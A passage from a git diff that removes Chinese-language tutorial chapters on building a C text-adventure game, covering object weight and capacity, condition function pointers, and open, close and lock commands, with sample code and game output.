这样的命令做出不正确的回应:“你在这里看不到任何洞穴。我们需要一个将通道的实际终点和虚假终点分开的单独属性。为此,我们将引入一个属性 prospect 来表示后者。 - -1. 在许多冒险中,玩家以及游戏中的 NPC 在携带量方面受到限制。给每件物品一个重量,角色库存中所有物品的总重量不应超过该角色所能承载的最大重量。当然,我们也可以给一个物体一个非常高的重量,使它不可移动(一棵树,一座房子,一座山)。 -2. RPG 式的冒险游戏需要角色的整个属性范围 ( 玩家与非玩家 ),例如 HP。HP 为零的对象要么死了,要么根本不是角色。 - -我们在 object.txt 中定义了七个新属性: - -```c -#include -#include "object.h" - -typedef struct object { - const char *description; - const char **tags; - struct object *location; - struct object *destination; - struct object *prospect; - const char *details; - const char *contents; - const char *textGo; - int weight; - int capacity; - int health; -} OBJECT; - -extern OBJECT objs[]; - -- field - description "an open field" - tags "field" - details "The field is a nice and quiet place under a clear blue sky." - capacity 9999 - -- cave - description "a little cave" - tags "cave" - details "The cave is just a cold, damp, rocky chamber." - capacity 9999 - -- silver - description "a silver coin" - tags "silver", "coin", "silver coin" - location field - details "The coin has an eagle on the obverse." - weight 1 - //如果你觉得不合理,可以自己更改 - -- gold - description "a gold coin" - tags "gold", "coin", "gold coin" - location cave - details "The shiny coin seems to be a rare and priceless artefact." - weight 1 - -- guard - description "a burly guard" - tags "guard", "burly guard" - location field - details "The guard is a really big fellow." - contents "He has" - health 100 - capacity 20 - -- player - description "yourself" - tags "yourself" - location field - details "You would need a mirror to look at yourself." - contents "You have" - health 100 - capacity 20 - -- intoCave - description "a cave entrance to the east" - tags "east", "entrance" - location field - prospect cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "The guard stops you from walking into the cave." - -- exitCave - description "an exit to the west" - tags "west", "exit" - location cave - destination field - details "Sunlight pours in through an opening in the cave's wall." - textGo "You walk out of the cave." - -- wallField - description "dense forest all around" - tags "west", "north", "south", "forest" - location field - details "The field is surrounded by trees and undergrowth." - textGo "Dense forest is blocking the way." - -- wallCave - description "solid rock all around" - tags "east", "north", "south", "rock" - location cave - details "Carved in stone is a secret password 'abccb'." - textGo "Solid rock is blocking the way." -``` - -注意:textGo 不仅对通道对象有用,而且对非通道对象也有用 ( 在这种情况下,以后我们将介绍“墙”这个概念) - -::: warning 🤔 思考题:你能否自行实现上述伪代码? -::: - -现在,我们已经可以使用新属性 (如果你完成了上面的思考题),**details** 用于新识别的命令*外观``*,**textGo** 在我们的命令 *go* 实现中替换固定文本*“OK*”。 - -## location.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" - -void executeLook(const char *noun) -{ - if (noun != NULL && strcmp(noun, "around") == 0) - { - printf("You are in %s.\n", player->location->description); - listObjectsAtLocation(player->location); - } - else - { - OBJECT *obj = getVisible("what you want to look at", noun); - switch (getDistance(player, obj)) - { - case distHereContained: - printf("Hard to see, try to get it first.\n"); - break; - case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distNotHere: - printf("You don't see any %s here.\n", noun); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - printf("%s\n", obj->details); - listObjectsAtLocation(obj); - } - } -} - -static void movePlayer(OBJECT *passage) -{ - printf("%s\n", passage->textGo); - if (passage->destination != NULL) - { - player->location = passage->destination; - printf("\n"); - executeLook("around"); - } -} - -void executeGo(const char *noun) -{ - OBJECT *obj = getVisible("where you want to go", noun); - switch (getDistance(player, obj)) - { - case distOverthere: - movePlayer(getPassage(player->location, obj)); - break; - case distNotHere: - printf("You don't see any %s here.\n", noun); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - movePlayer(obj); - } -} -``` - -属性权重和容量一起成为不能将某些对象移动到周围的可能原因。而 HP 检查代替了角色的硬编码白名单。 - -## move.c - -```c -#include -#include -#include "object.h" -#include "misc.h" - -static int weightOfContents(OBJECT *container) -{ - int sum = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(container, obj)) sum += obj->weight; - } - return sum; -} - -static void describeMove(OBJECT *obj, OBJECT *to) -{ - if (to == player->location) - { - printf("You drop %s.\n", obj->description); - } - else if (to != player) - { - printf(to->health > 0 ? "You give %s to %s.\n" : "You put %s in %s.\n", - obj->description, to->description); - } - else if (obj->location == player->location) - { - printf("You pick up %s.\n", obj->description); - } - else - { - printf("You get %s from %s.\n", - obj->description, obj->location->description); - } -} - -void moveObject(OBJECT *obj, OBJECT *to) -{ - if (obj == NULL) - { - // already handled by getVisible or getPossession - } - else if (to == NULL) - { - printf("There is nobody here to give that to.\n"); - } - else if (obj->weight > to->capacity) - { - printf("That is way too heavy.\n"); - } - else if (obj->weight + weightOfContents(to) > to->capacity) - { - printf("That would become too heavy.\n"); - } - else - { - describeMove(obj, to); - obj->location = to; - } -} -``` - -这里还有一个模块可以使用 HP 来识别角色。 - -## inventory.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" -#include "move.h" - -void executeGet(const char *noun) -{ - OBJECT *obj = getVisible("what you want to get", noun); - switch (getDistance(player, obj)) - { - case distSelf: - printf("You should not be doing that to yourself.\n"); - break; - case distHeld: - printf("You already have %s.\n", obj->description); - break; - case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - if (obj->location != NULL && obj->location->health > 0) - { - printf("You should ask %s nicely.\n", obj->location->description); - } - else - { - moveObject(obj, player); - } - } -} - -void executeDrop(const char *noun) -{ - moveObject(getPossession(player, "drop", noun), player->location); -} - -void executeAsk(const char *noun) -{ - moveObject(getPossession(actorHere(), "ask", noun), player); -} - -void executeGive(const char *noun) -{ - moveObject(getPossession(player, "give", noun), actorHere()); -} - -void executeInventory(void) -{ - if (listObjectsAtLocation(player) == 0) - { - printf("You are empty-handed.\n"); - } -} -``` - -::: warning 🤔 思考题:仔细观察这段代码,看看与你写的有何不同? -::: - -权重检查利用了新功能 *weightOfContents,*它将在*misc.c*中实现。在同一模块中,我们还对一些现有函数进行了修改,以支持最后几个属性。 - -属性内容将替换固定文本*“You see”。*在列出玩家的库存时,原始文本已经有点奇怪了,但是现在函数*listObjectsAtLocation*用于显示任何可能对象的内容(请参阅上面的函数*expertLook*),我们真的需要一些更灵活的东西。 - -在函数 *getPassage* 中我们将属性*目标*替换为 prospect,并改进*对所有*命令(而不仅仅是 *go* and *look*)的响应,这些命令应用于位于“隐藏通道”另一端的位置。 - -## misc.h - -```c -typedef enum { - distSelf, - distHeld, - distHeldContained, - distLocation, - distHere, - distHereContained, - distOverthere, - distNotHere, - distUnknownObject -} DISTANCE; - -extern bool isHolding(OBJECT *container, OBJECT *obj); -extern OBJECT *getPassage(OBJECT *from, OBJECT *to); -extern DISTANCE getDistance(OBJECT *from, OBJECT *to); -extern OBJECT *actorHere(void); -extern int listObjectsAtLocation(OBJECT *location); -``` - -## misc.c - -```c -#include -#include -#include "object.h" -#include "misc.h" - -bool isHolding(OBJECT *container, OBJECT *obj) -{ - return obj != NULL && obj->location == container; -} - -OBJECT *getPassage(OBJECT *from, OBJECT *to) -{ - if (from != NULL && to != NULL) - { - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(from, obj) && obj->prospect == to) - { - return obj; - } - } - } - return NULL; -} - -DISTANCE getDistance(OBJECT *from, OBJECT *to) -{ - return to == NULL ? distUnknownObject : - to == from ? distSelf : - isHolding(from, to) ? distHeld : - isHolding(to, from) ? distLocation : - isHolding(from->location, to) ? distHere : - isHolding(from, to->location) ? distHeldContained : - isHolding(from->location, to->location) ? distHereContained : - getPassage(from->location, to) != NULL ? distOverthere : - distNotHere; -} - -OBJECT *actorHere(void) -{ - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(player->location, obj) && obj != player && - obj->health > 0) - { - return obj; - } - } - return NULL; -} - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && isHolding(location, obj)) - { - if (count++ == 0) - { - printf("%s:\n", location->contents); - } - printf("%s\n", obj->description); - } - } - return count; -} -``` - -::: warning 🤔 思考题: -为什么上面的 getPassage 函数使用了函数指针这种语法? - -函数指针和指针函数有什么区别? -::: - -为了使整个画面完整,最好扩展前面生成的地图,我们可以用虚线表示“明显”的通道。 - -```awk -BEGIN { print "digraph map {"; } -/^- / { outputEdges(); delete a; } -/^[ \t]/ { a[$1] = $2; } -END { outputEdges(); print "}"; } - -function outputEdges() -{ - outputEdge(a["location"], a["destination"], ""); - outputEdge(a["location"], a["prospect"], " [style=dashed]"); -} - -function outputEdge(from, to, style) -{ - if (from && to) print "\t" from " -> " to style; -} -``` - -注意: - -- 尽量不要太担心浪费仅在某些类型的对象中使用的属性上的内存空间(例如,*textGo*仅用于通道),或者许多重复的字符串文本。 -- 为了演示属性 prospect 的使用,我们使洞穴无法访问。当您查看新*地图时,*这一点立即变得很明显。进入洞穴的箭头是虚线的,这意味着这是一个虚假的通道,但不是实际的通道。请放心,洞穴将在下一章重新开放。 -- 请注意,更详细的描述往往需要一个更大的字典(更多的对象,更多的标签)。例如,命令 look silver coin 现在返回 "该硬币的正面有一只鹰"。玩家通过输入一个命令 look eagle 来查看银币,但程序并不知道鹰是什么意思 (显然这样子是不行的)。 - -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance to the east -dense forestall around - ---> look guard -The guard is a really big fellow. - ---> get guard -That is way too heavy. - ---> get coin -You pick up a silver coin. - ---> inventory -You have: -a silver coin - ---> give coin -You give a silver coin to a burly guard. - ---> look guard -The guard is a really big fellow. -He has: -a silver coin - ---> go cave -The guard stops you from walking into the cave. - ---> go north -Dense forest is blocking the way. - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件.md deleted file mode 100644 index 668a89c..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件.md +++ /dev/null @@ -1,322 +0,0 @@ -# 11.设置条件 - -到目前为止,所有对象的属性都是数据:文本、数字。但属性也可以是代码。 - -在上一章中,我们通过关闭洞穴入口(进入洞穴的通道)来限制玩家的行动自由。这已经让游戏变得更有挑战性了,但这并没有带来多少谜题,除非我们为玩家提供一个微小的可能性来打开通道。真正的挑战应该是让玩家找到通道打开的条件。 - -让我们举一个简单的例子。为了越过守卫进入山洞,玩家必须杀死或贿赂守卫(或两者兼而有之,这很有价值)。换句话说: - -- 当警卫死亡时(HP=0),入口开放 -- 当警卫拿着银币 (贿赂警卫) 时,入口开放 -- 两者都不是,入口关闭 - -打开一个封闭的通道(在这里是进入洞穴)涉及到改变一些属性值: - -- 目的地从 NULL(空地点) 变为洞穴 -- **textGo**从 "警卫阻止你...... "改为 "你走进山洞" -- 在一些特殊情况下,描述和细节不需要改变。但对于一个门洞或栅栏,其中之一(或两者)通常会包含一些从 "开放 "到 "关闭 "的文字。 - -有许多方法来实现这一目标。在这里,我们将讨论一种简单、可维护和通用的方法。 - -首先,我们定义了两个独立的通道:一个代表开放通道,另一个代表封闭通道。除了上面列出的那些,这两条通道在每一个属性上都是相同的。(在你下面看到的生成的地图中,注意有两个箭头通向洞穴;一个是实线,一个是虚线)。 - -接下来,我们引入一个名为条件的新属性,它决定了某个对象是否存在。这两个通道将被赋予互斥的条件,因此在任何时候都只能有一个存在。 - -每个条件将被实现为一个布尔函数:**TRUE**意味着该对象存在,**FALSE**意味着它不存在。 - -```c -bool intoCaveIsOpen(void) -{ - return guard->health == 0 || silver->location == guard; -} - -bool intoCaveIsClosed(void) -{ - return guard->health > 0 && silver->location != guard; -} -``` - -::: warning 🤔 思考题:你能仿照上面例子自己写一些条件函数吗? -::: - -新的属性条件是一个指向这样一个函数的指针。 - -```c -bool (*condition)(void); -``` - -接下来,我们可以立即开始为 object.txt 中的新属性分配函数。 - -## object.txt - -```txt -- intoCave - condition intoCaveIsOpen - description "a cave entrance to the east" - tags "east", "entrance" - location field - destination cave - detail "The entrance is just a narrow opening in a small outcrop.\n" - textGo "You walk into the cave.\n" - -- intoCaveBlocked - condition intoCaveIsClosed - description "a cave entrance to the east" - tags "east", "entrance" - location field - prospect cave - detail "The entrance is just a narrow opening in a small outcrop.\n" - textGo "The guard stops you from walking into the cave.\n" -``` - -::: warning 🤔 思考题:尝试自己实现上面的伪代码 -::: - -这两个 "条件 "函数是如此具体,每一个条件函数都只用这一次。现在,我们可以在我们需要的地方定义这些函数。许多编程语言都支持匿名函数,像这样: - -```txt -- intoCave - condition { return guard->health == 0 || silver->location == guard; } - ... - -- intoCaveBlocked - condition { return guard->health > 0 && silver->location != guard; } - ... -``` - -所以现在我们可以把额外的段落和条件添加到 object.txt 中,就像前面解释的那样。 - -## new object.txt - -```txt -#include -#include -#include "object.h" - -typedef struct object { - bool (*condition)(void); - const char *description; - const char **tags; - struct object *location; - struct object *destination; - struct object *prospect; - const char *details; - const char *contents; - const char *textGo; - int weight; - int capacity; - int health; -} OBJECT; - -extern OBJECT objs[]; - -- field - description "an open field" - tags "field" - details "The field is a nice and quiet place under a clear blue sky." - capacity 9999 - -- cave - description "a little cave" - tags "cave" - details "The cave is just a cold, damp, rocky chamber." - capacity 9999 - -- silver - description "a silver coin" - tags "silver", "coin", "silver coin" - location field - details "The coin has an eagle on the obverse." - weight 1 - -- gold - description "a gold coin" - tags "gold", "coin", "gold coin" - location cave - details "The shiny coin seems to be a rare and priceless artefact." - weight 1 - -- guard - description "a burly guard" - tags "guard", "burly guard" - location field - details "The guard is a really big fellow." - contents "He has" - health 100 - capacity 20 - -- player - description "yourself" - tags "yourself" - location field - details "You would need a mirror to look at yourself." - contents "You have" - health 100 - capacity 20 - -- intoCave - condition { return guard->health == 0 || silver->location == guard; } - description "a cave entrance to the east" - tags "east", "entrance" - location field - destination cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "You walk into the cave." - -- intoCaveBlocked - condition { return guard->health > 0 && silver->location != guard; } - description "a cave entrance to the east" - tags "east", "entrance" - location field - prospect cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "The guard stops you from walking into the cave." - -- exitCave - description "an exit to the west" - tags "west", "exit" - location cave - destination field - details "Sunlight pours in through an opening in the cave's wall." - textGo "You walk out of the cave." - -- wallField - description "dense forest all around" - tags "west", "north", "south", "forest" - location field - details "The field is surrounded by trees and undergrowth." - textGo "Dense forest is blocking the way." - -- wallCave - description "solid rock all around" - tags "east", "north", "south", "rock" - location cave - details "Carved in stone is a secret password 'abccb'." - textGo "Solid rock is blocking the way." -``` - -::: warning 🤔 思考题:尝试自己实现这些功能,并看看与你之前设计的有何不同 -::: - -为了使这些条件发挥作用,我们需要调整函数 isHolding 和 getDistance。 - -## misc.c - -```c -#include -#include -#include "object.h" -#include "misc.h" - -bool isHolding(OBJECT *container, OBJECT *obj) -{ - return validObject(obj) && obj->location == container; -} - -OBJECT *getPassage(OBJECT *from, OBJECT *to) -{ - if (from != NULL && to != NULL) - { - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(from, obj) && obj->prospect == to) - { - return obj; - } - } - } - return NULL; -} - -DISTANCE getDistance(OBJECT *from, OBJECT *to) -{ - return to == NULL ? distUnknownObject : - !validObject(to) ? distNotHere : - to == from ? distSelf : - isHolding(from, to) ? distHeld : - isHolding(to, from) ? distLocation : - isHolding(from->location, to) ? distHere : - isHolding(from, to->location) ? distHeldContained : - isHolding(from->location, to->location) ? distHereContained : - getPassage(from->location, to) != NULL ? distOverthere : - distNotHere; -} - -OBJECT *actorHere(void) -{ - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(player->location, obj) && obj != player && - obj->health > 0) - { - return obj; - } - } - return NULL; -} - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && isHolding(location, obj)) - { - if (count++ == 0) - { - printf("%s:\n", location->contents); - } - printf("%s\n", obj->description); - } - } - return count; -} -``` - -::: warning 🤔 思考题:想想我们调整了什么 -::: - -注意: - -1. 警卫不可能会死,所以可以说我们的条件函数中的**HP**是很无用的。当然,这很容易通过添加一个 kill 命令来解决,见第 20 章。 -2. 这两个条件函数是互补的;它们有资格成为重复的代码。为了消除这一点,我们可能决定让一个函数调用另一个函数(用'!'操作符来否定结果)。一个匿名函数没有(稳定的)名字,但我们可以用它的对象来指代它。我们可以用 intoCaveBlocked 的条件函数代替。 -3. 为了简单起见,条件函数没有参数。实际上,传递一个参数 OBJECT *obj 可能更好;这使得编写更多的通用条件函数成为可能,可以在多个对象中重复使用。 -4. 在理论上,任何对象都可以成为 "条件"。在下一章,你可以看到一个类似的技术被应用于此。 - -::: warning 🤔 思考题:想一想上面第二点要怎么用 C 来实现? -::: - -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance to the east -dense forest all around - ---> go entrance -The guard stops you from walking into the cave. - ---> get coin -You pick up a silver coin. - ---> give coin -You give a silver coin to a burly guard. - ---> go entrance -You walk into the cave. - -You are in a little cave. -You see: -a gold coin -an exit to the west -solid rock all around - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭.md deleted file mode 100644 index d352de3..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭.md +++ /dev/null @@ -1,673 +0,0 @@ -# 12.开启关闭 - -在上一章中,我们使用 "条件 "函数来使对象消失。当然,还有一个更简单的方法来实现同样的目的:只要清除对象的位置属性就可以了! - -洞口是一个典型的例子,条件函数在那里工作得特别好。这是因为入口受到其他对象(守卫和银币)中的属性的影响;我们可以使用函数使得所有的逻辑都能保持一致。 - -让我们举一个更直接的例子。假设山洞有一扇门通向一个密室。只是一个简单的门洞,玩家可以打开和关闭。就像前一章一样,我们将使用两个对象来表示这个通道;一个表示打开的门,另一个表示门关闭时。 - -```txt -- backroom - description "a backroom" - tags "backroom" - details "The room is dusty and messy.\n" - -- openDoorToBackroom - description "an open door to the south" - tags "south", "door", "doorway" - destination backroom - details "The door is open.\n" - textGo "You walk through the door into the backroom.\n" - -- closedDoorToBackroom - description "a closed door to the south" - tags "south", "door", "doorway" - location cave - prospect backroom - details "The door is closed.\n" - textGo "The door is closed.\n" -``` - -::: warning 🤔 思考题:尝试自己用 C 语言实现 -::: - -自然,门也应该能从另一侧进入。 - -```txt -- openDoorToCave - description "an open door to the north" - tags "north", "door", "doorway" - destination cave - details "The door is open.\n" - textGo "You walk through the door into the cave.\n" - -- closedDoorToCave - description "a closed door to the north" - tags "north", "door", "doorway" - location backroom - prospect cave - details "The door is closed.\n" - textGo "The door is closed.\n" -``` - -注意我们只给封闭的门洞一个位置,开放的门洞没有。所以一开始,门是关闭的(因此你在右边看到的生成的地图中,山洞和密室之间有虚线箭头)。要打开门,我们所要做的就是交换位置。 - -```c -openDoorToBackroom->location = cave; -closedDoorToBackroom->location = NULL; -openDoorToCave->location = backroom; -closedDoorToCave->location = NULL; -``` - -接下来,让我们创建一个辅助函数来适应这种情况。 - -```c -void swapLocations(OBJECT *obj1, OBJECT *obj2) -{ - OBJECT *tmp = obj1->location; - obj1->location = obj2->location; - obj2->location = tmp; -} -``` - -现在可以用下面的语句来打开这扇门;一旦它被打开,同样的语句将再次关闭它。 - -```c -swapLocations(openDoorToBackroom, closedDoorToBackroom); -swapLocations(openDoorToCave, closedDoorToCave); -``` - -函数 swapLocations 不依赖于固定的位置,因为它在两个对象之间来回传递当前位置。 - -当相关对象是可移动的时候,辅助功能就特别方便。例如,一个盒子可以被打开和关闭,但它也是一个可以被拿起并移动到其他地方的物品。换句话说,它的位置是不固定的。 - -当然,一个盒子不是一个通道:玩家总是在盒子外面。所以一对物体就够了,也就是说,我们调用一次 swapLocations 函数就够了。 - -```c -swapLocations(openBox, closedBox); -``` - -这或多或少是我们实现一些新命令 open 和 close 所需要的。下面是 open 的一个简单实现;close 的实现也类似。 - -```c -OBJECT *obj = parseObject(noun); -if (obj == closedDoorToBackRoom || obj == closedDoorToCave) -{ - swapLocations(openDoorToBackroom, closedDoorToBackroom); - swapLocations(openDoorToCave, closedDoorToCave); - printf("OK.\n"); -} -else if (obj == closedBox) -{ - swapLocations(openBox, closedBox); - printf("OK.\n"); -} -else if (obj == openDoorToBackRoom || obj == openDoorToCave || obj == openBox) -{ - printf("That is already open.\n"); -} -else -{ - printf("That cannot be opened.\n"); -} -``` - -::: warning 🤔 思考题:你能不能仿照上面的代码实现 close 功能? -::: - -为了使事情稍微复杂一些,我们可以在门上或盒子上加一把锁。这需要(至少)三个相互排斥的对象;每个可能的状态都有一个:打开、关闭和锁定。但是我们仍然可以使用同一个函数来交换对象的位置。例如,这里是如何解锁一个上锁的盒子;反之亦然。 - -```c -swapLocations(closedBox, lockedBox); -``` - -但这仅仅是不够的,我们对命令 open 的实现必须进行扩展,以处理新的对象 lockedBox。 - -```c -... -else if (obj == lockedBox) -{ - printf("You can't, it is locked.\n"); -} -... -``` - -显然,代码的行数与游戏中的门(以及盒子和其他可以打开的物体)的数量成正比。因此,如果你的游戏有不止几扇门,那么选择一个更通用的解决方案是个好主意。顺便说一下,这对每一个命令都是适用的:当它涉及到许多物体时,尽量写通用代码;但当你处理一两个特殊情况时,就坚持使用直接的、专门的代码。 - -::: warning 🤔 思考题: -我们可以使用什么方法来解决这个问题? - -提示:C++ 中的模板功能(这只是一种选择) - -下面我们将揭晓答案 -::: - -通用代码通常带有数据驱动的方法。换句话说,我们需要向我们的对象结构添加一个或多个属性。在这种特殊情况下,我们将为我们希望支持的每个命令添加一个函数指针:打开、关闭、锁定和解锁。 - -## object.txt - -```c -#include -#include -#include "object.h" -#include "toggle.h" - -typedef struct object { - bool (*condition)(void); - const char *description; - const char **tags; - struct object *location; - struct object *destination; - struct object *prospect; - const char *details; - const char *contents; - const char *textGo; - int weight; - int capacity; - int health; - void (*open)(void); - void (*close)(void); - void (*lock)(void); - void (*unlock)(void); -} OBJECT; - -extern OBJECT objs[]; - -- field - description "an open field" - tags "field" - details "The field is a nice and quiet place under a clear blue sky." - capacity 9999 - -- cave - description "a little cave" - tags "cave" - details "The cave is just a cold, damp, rocky chamber." - capacity 9999 - -- silver - description "a silver coin" - tags "silver", "coin", "silver coin" - location field - details "The coin has an eagle on the obverse." - weight 1 - -- gold - description "a gold coin" - tags "gold", "coin", "gold coin" - location openBox - details "The shiny coin seems to be a rare and priceless artefact." - weight 1 - -- guard - description "a burly guard" - tags "guard", "burly guard" - location field - details "The guard is a really big fellow." - contents "He has" - health 100 - capacity 20 - -- player - description "yourself" - tags "yourself" - location field - details "You would need a mirror to look at yourself." - contents "You have" - health 100 - capacity 20 - -- intoCave - condition { return guard->health == 0 || silver->location == guard; } - description "a cave entrance to the east" - tags "east", "entrance" - location field - destination cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "You walk into the cave." - open isAlreadyOpen - -- intoCaveBlocked - condition { return guard->health > 0 && silver->location != guard; } - description "a cave entrance to the east" - tags "east", "entrance" - location field - prospect cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "The guard stops you from walking into the cave." - open isAlreadyOpen - -- exitCave - description "an exit to the west" - tags "west", "exit" - location cave - destination field - details "Sunlight pours in through an opening in the cave's wall." - textGo "You walk out of the cave." - open isAlreadyOpen - -- wallField - description "dense forest all around" - tags "west", "north", "south", "forest" - location field - details "The field is surrounded by trees and undergrowth." - textGo "Dense forest is blocking the way." - -- wallCave - description "solid rock all around" - tags "east", "north", "rock" - location cave - details "Carved in stone is a secret password 'abccb'." - textGo "Solid rock is blocking the way." - -- backroom - description "a backroom" - tags "backroom" - details "The room is dusty and messy." - capacity 9999 - -- wallBackroom - description "solid rock all around" - tags "east", "west", "south", "rock" - location backroom - details "Trendy wallpaper covers the rock walls." - textGo "Solid rock is blocking the way." - -- openDoorToBackroom - description "an open door to the south" - tags "south", "door", "doorway" - destination backroom - details "The door is open." - textGo "You walk through the door into a backroom." - open isAlreadyOpen - close toggleDoorToBackroom - -- closedDoorToBackroom - description "a closed door to the south" - tags "south", "door", "doorway" - location cave - prospect backroom - details "The door is closed." - textGo "The door is closed." - open toggleDoorToBackroom - close isAlreadyClosed - -- openDoorToCave - description "an open door to the north" - tags "north", "door", "doorway" - destination cave - details "The door is open." - textGo "You walk through the door into the cave." - open isAlreadyOpen - close toggleDoorToCave - -- closedDoorToCave - description "a closed door to the north" - tags "north", "door", "doorway" - location backroom - prospect cave - details "The door is closed." - textGo "The door is closed." - open toggleDoorToCave - close isAlreadyClosed - -- openBox - description "a wooden box" - tags "box", "wooden box" - details "The box is open." - weight 5 - capacity 10 - open isAlreadyOpen - close toggleBox - lock isStillOpen - unlock isAlreadyOpen - -- closedBox - description "a wooden box" - tags "box", "wooden box" - details "The box is closed." - weight 5 - open toggleBox - close isAlreadyClosed - lock toggleBoxLock - unlock isAlreadyUnlocked - -- lockedBox - description "a wooden box" - tags "box", "wooden box" - location backroom - details "The box is closed." - weight 5 - open isStillLocked - close isAlreadyClosed - lock isAlreadyLocked - unlock toggleBoxLock - -- keyForBox - description "a tiny key" - tags "key", "tiny key" - location cave - details "The key is really small and shiny." - weight 1 -``` - -注意: - -- 第 89 行:乍一看,isAlreadyOpen 在这里似乎不合适;从技术上讲,intoCaveBlocked 是一个封闭的通道。但从故事上讲,它是一个不错的开场白。 -- 第 169、180、191 行。如果你喜欢沉重的宝箱而不是盒子,那么你所要做的就是增加重量(并相应调整相关文字和标签)。 - -为了避免重复的代码,我们这次特意没有使用匿名函数。相反,我们将在一个单独的模块中实现必要的逻辑。函数 swapLocations 也在其中,这不过是一个稍微扩展的版本,它也会向用户输出反馈。 - -## toggle.h - -```c -extern void cannotBeOpened(void); -extern void cannotBeClosed(void); -extern void cannotBeLocked(void); -extern void cannotBeUnlocked(void); - -extern void isAlreadyOpen(void); -extern void isAlreadyClosed(void); -extern void isAlreadyLocked(void); -extern void isAlreadyUnlocked(void); - -extern void isStillOpen(void); -extern void isStillLocked(void); - -extern void toggleDoorToBackroom(void); -extern void toggleDoorToCave(void); -extern void toggleBox(void); -extern void toggleBoxLock(void); -``` - -## toggle.c - -```c -#include -#include -#include "object.h" - -static void swapLocations(const char *verb1, OBJECT *obj1, - const char *verb2, OBJECT *obj2) -{ - OBJECT *tmp = obj1->location; - OBJECT *obj = tmp != NULL ? obj1 : obj2; - const char *verb = tmp != NULL ? verb1 : verb2; - obj1->location = obj2->location; - obj2->location = tmp; - if (verb != NULL) printf("You %s %s.\n", verb, obj->description); -} - -void cannotBeOpened(void) { printf("That cannot be opened.\n"); } -void cannotBeClosed(void) { printf("That cannot be closed.\n"); } -void cannotBeLocked(void) { printf("That cannot be locked.\n"); } -void cannotBeUnlocked(void) { printf("That cannot be unlocked.\n"); } - -void isAlreadyOpen(void) { printf("That is already open.\n"); } -void isAlreadyClosed(void) { printf("That is already closed.\n"); } -void isAlreadyLocked(void) { printf("That is already locked.\n"); } -void isAlreadyUnlocked(void) { printf("That is already unlocked.\n"); } - -void isStillOpen(void) { printf("That is still open.\n"); } -void isStillLocked(void) { printf("That is locked.\n"); } - -void toggleDoorToBackroom(void) -{ - swapLocations(NULL, openDoorToCave, NULL, closedDoorToCave); - swapLocations("close", openDoorToBackroom, "open", closedDoorToBackroom); -} - -void toggleDoorToCave(void) -{ - swapLocations(NULL, openDoorToBackroom, NULL, closedDoorToBackroom); - swapLocations("close", openDoorToCave, "open", closedDoorToCave); -} - -void toggleBox(void) -{ - swapLocations("close", openBox, "open", closedBox); -} - -void toggleBoxLock(void) -{ - if (keyForBox->location == player) - { - swapLocations("lock", closedBox, "unlock", lockedBox); - } - else - { - printf("You don't have a key.\n"); - } -} -``` - -正如前面所宣布的,打开、关闭、锁定和解锁这四个命令的实现是完全通用的。 - -## openclose.h - -```c -extern void executeOpen(const char *noun); -extern void executeClose(const char *noun); -extern void executeLock(const char *noun); -extern void executeUnlock(const char *noun); -``` - -## openclose.c - -```c -#include -#include -#include "object.h" -#include "reach.h" - -void executeOpen(const char *noun) -{ - OBJECT *obj = reachableObject("what you want to open", noun); - if (obj != NULL) (*obj->open)(); -} - -void executeClose(const char *noun) -{ - OBJECT *obj = reachableObject("what you want to close", noun); - if (obj != NULL) (*obj->close)(); -} - -void executeLock(const char *noun) -{ - OBJECT *obj = reachableObject("what you want to lock", noun); - if (obj != NULL) (*obj->lock)(); -} - -void executeUnlock(const char *noun) -{ - OBJECT *obj = reachableObject("what you want to unlock", noun); - if (obj != NULL) (*obj->unlock)(); -} -``` - -上面,我们使用了一个通用函数 reachableObject 来处理不在这里的对象;其实现见下文。这样,我们就不必把同样的代码写四遍(每个执行函数写一遍)。更多的命令将在第 15 章中加入;这些命令将受益于同样的函数。 - -## reach.h - -```c -extern OBJECT *reachableObject(const char *intention, const char *noun); -``` - -## reach.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "noun.h" - -OBJECT *reachableObject(const char *intention, const char *noun) -{ - OBJECT *obj = getVisible(intention, noun); - switch (getDistance(player, obj)) - { - case distSelf: - printf("You should not be doing that to yourself.\n"); - break; - case distHeldContained: - case distHereContained: - printf("You would have to get it from %s first.\n", - obj->location->description); - break; - case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distNotHere: - case distUnknownObject: - // already handled by getVisible - break; - default: - return obj; - } - return NULL; -} -``` - -同样,我们也要对 parsexec.c 进行补充 - -## parsexec.c - -```c -#include -#include -#include -#include "location.h" -#include "inventory.h" -#include "openclose.h" 